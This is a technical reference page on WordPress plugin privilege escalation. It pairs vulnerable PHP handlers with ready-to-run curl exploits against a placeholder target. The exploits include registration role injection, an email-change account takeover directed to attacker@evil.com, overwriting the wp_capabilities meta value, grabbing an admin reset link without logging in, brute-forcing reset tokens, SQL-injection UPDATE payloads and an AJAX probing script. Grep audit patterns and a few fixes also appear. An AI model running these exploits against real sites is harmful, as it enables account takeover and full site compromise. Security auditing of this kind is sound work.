Vulnerability Types

WordPress Authentication and Privilege Escalation

User roles, capability checks, cookie authentication, and common privilege escalation patterns in WordPress plugins

WordPress Authentication and Privilege Escalation

Privilege escalation vulnerabilities allow lower-privileged users to gain higher capabilities, often resulting in complete site compromise. WordPress's role-based capability system, when incorrectly implemented by plugins, creates numerous attack paths.

WordPress User Roles and Capabilities

WordPress ships with five default roles, each with a set of capabilities:

RoleKey Capabilities
AdministratorAll capabilities, manage_options, edit_plugins, install_plugins
Editoredit_others_posts, publish_posts, manage_categories
Authorpublish_posts, edit_published_posts, upload_files
Contributoredit_posts (not publish), delete_posts
Subscriberread only

Capabilities are stored in wp_usermeta as a serialized array:

meta_key: wp_capabilities
meta_value: a:1:{s:13:"administrator";b:1;}

The database prefix affects the key name (e.g., wp_capabilities for prefix wp_, mysite_capabilities for prefix mysite_).

current_user_can() and How It Works

// Check a role name (not recommended - check capabilities instead)
current_user_can( 'administrator' );

// Check specific capabilities (correct approach)
current_user_can( 'manage_options' );     // Admin only
current_user_can( 'edit_posts' );         // Author+
current_user_can( 'read' );               // Subscriber+
current_user_can( 'edit_post', $post_id ); // With context (meta capability)

// Check on behalf of another user
user_can( $user_id, 'edit_posts' );

Meta capabilities (like edit_post, delete_post) are mapped to primitive capabilities via the map_meta_cap filter. Plugins can register custom capabilities:

// Adding custom capability to a role
$role = get_role( 'editor' );
$role->add_cap( 'manage_plugin_settings' );

// Checking custom capability
if ( ! current_user_can( 'manage_plugin_settings' ) ) {
    wp_die( 'Unauthorized' );
}

WordPress uses two cookies for authentication:

  1. wordpress_logged_in_{COOKIEHASH} - Present on all pages, contains username + token
  2. wordpress_{COOKIEHASH} - Secure cookie, present only in /wp-admin/

The COOKIEHASH is md5(siteurl).

Cookie format: username|expiration|token|hmac

The HMAC uses the logged_in_key and logged_in_salt from wp-config.php, combined with the user's password hash and the session token.

# Extract cookies from a login
curl -v -c /tmp/wp_cookies.txt -X POST 'https://target.example.com/wp-login.php' \
  -d 'log=admin&pwd=password&wp-submit=Log+In&redirect_to=%2Fwp-admin%2F&testcookie=1' \
  -H 'Cookie: wordpress_test_cookie=WP+Cookie+check' 2>&1 | grep "Set-Cookie"

# Inspect the cookie value
cat /tmp/wp_cookies.txt | grep wordpress_logged_in

Privilege Escalation Patterns

Pattern 1: User Registration with Elevated Role

Plugins that extend the registration flow may allow role parameter injection:

// VULNERABLE: Trusts role from POST data
add_action( 'user_register', function( $user_id ) {
    $role = sanitize_text_field( $_POST['role'] );
    // Developer intended to set a default role
    // but attacker can POST role=administrator
    $user = new WP_User( $user_id );
    $user->set_role( $role );
});

Testing:

# Register with elevated role
curl -s -X POST 'https://target.example.com/wp-login.php?action=register' \
  -d 'user_login=attacker&user_email=attacker@evil.com&role=administrator'

# Alternatively, test the plugin's custom registration endpoint
curl -s -X POST 'https://target.example.com/wp-admin/admin-ajax.php' \
  -d 'action=custom_register&username=attacker&email=attacker@evil.com&role=administrator'
# Grep pattern
grep -rn "set_role\|add_role\|\$_POST.*role\|\$_GET.*role" \
  /var/www/html/wp-content/plugins/ --include="*.php" -n | \
  grep -v "current_user_can\|manage_options"

Pattern 2: Account Takeover via Email Change

Plugins that change user email without ownership verification:

// VULNERABLE: Subscriber can change any user's email
add_action( 'wp_ajax_update_email', function() {
    check_ajax_referer( 'update_email' );
    // Missing: check that $user_id belongs to current user
    $user_id = intval( $_POST['user_id'] );
    $email   = sanitize_email( $_POST['email'] );
    wp_update_user([
        'ID'         => $user_id,
        'user_email' => $email,
    ]);
    wp_die();
});

Once the email is changed, the attacker can trigger password reset to their email.

# Step 1: Change admin email (requires knowing admin user ID, typically 1)
curl -s -b /tmp/subscriber_cookies.txt -X POST \
  'https://target.example.com/wp-admin/admin-ajax.php' \
  -d "action=update_email&nonce=EXTRACTED_NONCE&user_id=1&email=attacker@evil.com"

# Step 2: Trigger password reset to attacker's email
curl -s -X POST 'https://target.example.com/wp-login.php?action=lostpassword' \
  -d 'user_login=admin&redirect_to='

Pattern 3: Missing Capability Check on Privileged Operations

// VULNERABLE: Nonce present, but only checks login status
add_action( 'wp_ajax_install_plugin', function() {
    check_ajax_referer( 'install_plugin_nonce' );
    // Should check: current_user_can( 'install_plugins' )
    $plugin_url = esc_url_raw( $_POST['plugin_url'] );
    // Installs arbitrary plugin from URL
    $result = install_plugin_from_url( $plugin_url );
    wp_send_json_success( $result );
});

Any logged-in subscriber can install arbitrary plugins.

Pattern 4: update_user_meta Without Ownership Check

// VULNERABLE: Allows updating any user's meta including capabilities
add_action( 'wp_ajax_save_profile', function() {
    check_ajax_referer( 'save_profile' );
    $user_id  = intval( $_POST['user_id'] ); // Should be get_current_user_id()
    $meta_key = sanitize_key( $_POST['meta_key'] );
    $meta_val = sanitize_text_field( $_POST['meta_value'] );
    update_user_meta( $user_id, $meta_key, $meta_val );
    wp_die();
});

Exploit: update wp_capabilities for user ID 1 (admin) OR update own capabilities:

# Update own capabilities to add administrator
MY_USER_ID=5  # The subscriber's user ID

curl -s -b /tmp/subscriber_cookies.txt -X POST \
  'https://target.example.com/wp-admin/admin-ajax.php' \
  -d "action=save_profile&nonce=NONCE&user_id=$MY_USER_ID&meta_key=wp_capabilities&meta_value=a:1:{s:13:\"administrator\";b:1;}"

Pattern 5: Auto-Login Token Generation for Any User

// VULNERABLE: Generates login token for arbitrary user ID
add_action( 'wp_ajax_nopriv_auto_login', function() {
    $user_id = intval( $_GET['user_id'] );
    // Generates a magic login link for ANY user
    $token   = get_password_reset_key( get_user_by( 'id', $user_id ) );
    $url     = add_query_arg([
        'action' => 'rp',
        'key'    => $token,
        'login'  => get_user_by( 'id', $user_id )->user_login,
    ], wp_login_url() );
    wp_send_json_success([ 'login_url' => $url ]);
});
# Get admin password reset token without any authentication
curl -s 'https://target.example.com/wp-admin/admin-ajax.php?action=auto_login&user_id=1'
# Returns a complete login URL for the admin account

Pattern 6: wp_insert_user / wp_create_user Misuse

// VULNERABLE: Creates administrator during plugin activation or via nopriv action
add_action( 'wp_ajax_nopriv_create_backup_admin', function() {
    $secret = $_POST['secret'];
    if ( $secret === get_option('plugin_setup_secret') ) {
        $user_id = wp_create_user( 'backup_admin', 'Password123!', 'backup@site.com' );
        $user    = new WP_User( $user_id );
        $user->set_role( 'administrator' );
        wp_send_json_success([ 'user_id' => $user_id ]);
    }
});

If the secret is weak or discoverable, this creates a backdoor admin account.

# Discover the setup secret
curl -s -X POST 'https://target.example.com/wp-admin/admin-ajax.php' \
  -d 'action=create_backup_admin&secret=setup'
curl -s -X POST 'https://target.example.com/wp-admin/admin-ajax.php' \
  -d 'action=create_backup_admin&secret=admin'
curl -s -X POST 'https://target.example.com/wp-admin/admin-ajax.php' \
  -d 'action=create_backup_admin&secret=123456'

Pattern 7: Privilege Escalation via User Meta in REST API

// VULNERABLE: REST API allows setting arbitrary user meta
register_rest_route( 'my-plugin/v1', '/profile', [
    'methods'             => 'POST',
    'callback'            => function( WP_REST_Request $r ) {
        $data = $r->get_json_params();
        foreach ( $data as $key => $val ) {
            // No blocklist for sensitive meta keys
            update_user_meta( get_current_user_id(), sanitize_key($key), $val );
        }
        return rest_ensure_response(['updated' => true]);
    },
    'permission_callback' => 'is_user_logged_in',
]);
# Escalate to administrator via REST API
curl -s -u 'subscriber:password' -X POST \
  'https://target.example.com/wp-json/my-plugin/v1/profile' \
  -H 'Content-Type: application/json' \
  -d "{\"wp_capabilities\": \"a:1:{s:13:\\\"administrator\\\";b:1;}\"}"

# Verify escalation worked
curl -s -u 'subscriber:password' \
  'https://target.example.com/wp-json/wp/v2/users/me' | \
  python3 -c "import json,sys; u=json.load(sys.stdin); print(u.get('roles'))"

Password Reset Flow Vulnerabilities

Weak Reset Token

// VULNERABLE: Predictable reset token
add_action( 'wp_ajax_nopriv_reset_password', function() {
    $email = sanitize_email( $_POST['email'] );
    $user  = get_user_by( 'email', $email );
    if ( $user ) {
        // Weak: MD5 of email + timestamp (predictable)
        $token = md5( $email . time() );
        update_user_meta( $user->ID, 'reset_token', $token );
        // Send email...
    }
});
# Approximate token by knowing the timestamp
TIMESTAMP=$(date +%s)
EMAIL="admin@target.example.com"
for ts in $(seq $((TIMESTAMP-5)) $((TIMESTAMP+5))); do
    TOKEN=$(echo -n "${EMAIL}${ts}" | md5sum | cut -d' ' -f1)
    RESPONSE=$(curl -s -X POST 'https://target.example.com/wp-admin/admin-ajax.php' \
      -d "action=verify_reset&token=$TOKEN")
    if echo "$RESPONSE" | grep -q "success"; then
        echo "Valid token found: $TOKEN (ts: $ts)"
    fi
done

Reset Token Not Invalidated

If the reset token is never deleted from user meta after use, an attacker who intercepts it once can reuse it indefinitely.

Grep Patterns for Privilege Escalation Audit

PLUGIN_DIR="/var/www/html/wp-content/plugins/target-plugin"

# Find role/capability manipulation
grep -rn "set_role\|add_role\|remove_role\|add_cap" "$PLUGIN_DIR" --include="*.php" -n

# Find user creation without capability checks
grep -rn "wp_create_user\|wp_insert_user" "$PLUGIN_DIR" --include="*.php" -B5 | \
  grep -v "current_user_can\|administrator"

# Find update_user_meta with user-controlled IDs
grep -rn "update_user_meta" "$PLUGIN_DIR" --include="*.php" -B5 | \
  grep "\$_POST\|\$_GET\|\$user_id\|\$id"

# Find missing capability checks in AJAX handlers (audit all handlers)
grep -rP "add_action\s*\(\s*['\"]wp_ajax_" "$PLUGIN_DIR" --include="*.php" -A15 | \
  grep -B10 "function" | grep -v "current_user_can\|check_admin_referer"

# Find wp_update_user calls (potential account takeover)
grep -rn "wp_update_user" "$PLUGIN_DIR" --include="*.php" -B10

# Find password reset or token generation code
grep -rn "get_password_reset_key\|generate_token\|reset_key\|login_token" \
  "$PLUGIN_DIR" --include="*.php" -n

# Find meta key write operations that could affect wp_capabilities
grep -rn "wp_capabilities\|user_level\|wp_user_level" "$PLUGIN_DIR" --include="*.php"

# Find direct wp_usermeta table writes
grep -rn "wp_usermeta\|{.*prefix.*}usermeta" "$PLUGIN_DIR" --include="*.php" -n

# Find is_admin() misuse (not what you think it checks)
# is_admin() checks if current PAGE is an admin page, NOT if user is admin
grep -rn "is_admin()" "$PLUGIN_DIR" --include="*.php" | \
  grep "if.*is_admin\|is_admin.*can\|is_admin.*role"

The is_admin() Pitfall

A frequent misconception: is_admin() does NOT check if the current user is an administrator. It checks if the current request is for an admin page (/wp-admin/).

// WRONG: is_admin() doesn't check user privileges
if ( ! is_admin() ) {
    wp_die( 'Admin only' );
}

// This is exploitable by making a request to admin-ajax.php or any wp-admin URL
// admin-ajax.php is IN the admin area, so is_admin() returns TRUE for AJAX requests!

// CORRECT: Check actual capability
if ( ! current_user_can( 'manage_options' ) ) {
    wp_die( 'Admin only' );
}

Testing:

# admin-ajax.php returns is_admin() = true for all requests
# So any is_admin() check in an AJAX handler is meaningless protection
curl -s -X POST 'https://target.example.com/wp-admin/admin-ajax.php' \
  -d 'action=admin_only_action'
# If only protected by is_admin(), this will succeed even unauthenticated

Exploiting wp_capabilities Serialization

The capabilities meta value is a PHP serialized string. Direct database injection (via SQLi) can modify it:

# Via SQL injection - update own capabilities
# First determine your user ID via SQLi
curl -s -X POST "$TARGET" \
  --data-urlencode "action=sqli_action" \
  --data-urlencode "id=1' UNION SELECT user_id FROM wp_usermeta WHERE meta_key='wp_capabilities' AND meta_value LIKE '%subscriber%' LIMIT 1-- -"

# Update capabilities via SQL injection
curl -s -X POST "$TARGET" \
  --data-urlencode "action=sqli_action" \
  --data-urlencode "id=1'; UPDATE wp_usermeta SET meta_value='a:1:{s:13:\"administrator\";b:1;}' WHERE user_id=YOUR_ID AND meta_key='wp_capabilities'-- -"

Testing Privilege Escalation Scenarios

#!/bin/bash
TARGET="https://target.example.com"

# Create test subscriber account
curl -s -X POST "$TARGET/wp-login.php?action=register" \
  -d 'user_login=test_subscriber&user_email=test@test.com'

# Login as subscriber
curl -s -c /tmp/subscriber_cookies.txt -X POST "$TARGET/wp-login.php" \
  -d 'log=test_subscriber&pwd=PASSWORD&wp-submit=Log+In&testcookie=1' \
  -H 'Cookie: wordpress_test_cookie=WP+Cookie+check'

# Get nonce for subscriber session
NONCE=$(curl -s -b /tmp/subscriber_cookies.txt "$TARGET/" | \
  grep -oP '"nonce"\s*:\s*"\K[a-f0-9]{10}' | head -1)
echo "Subscriber nonce: $NONCE"

# Test all AJAX actions with subscriber privileges
for action in $(cat /tmp/all_ajax_actions.txt); do
    RESPONSE=$(curl -s -b /tmp/subscriber_cookies.txt -X POST \
      "$TARGET/wp-admin/admin-ajax.php" \
      -d "action=$action&nonce=$NONCE")
    # Look for signs of success that shouldn't happen for subscribers
    if echo "$RESPONSE" | grep -qv "permission\|forbidden\|unauthorized\|nonce"; then
        echo "Potential privesc via action: $action"
        echo "$RESPONSE" | head -c 200
    fi
done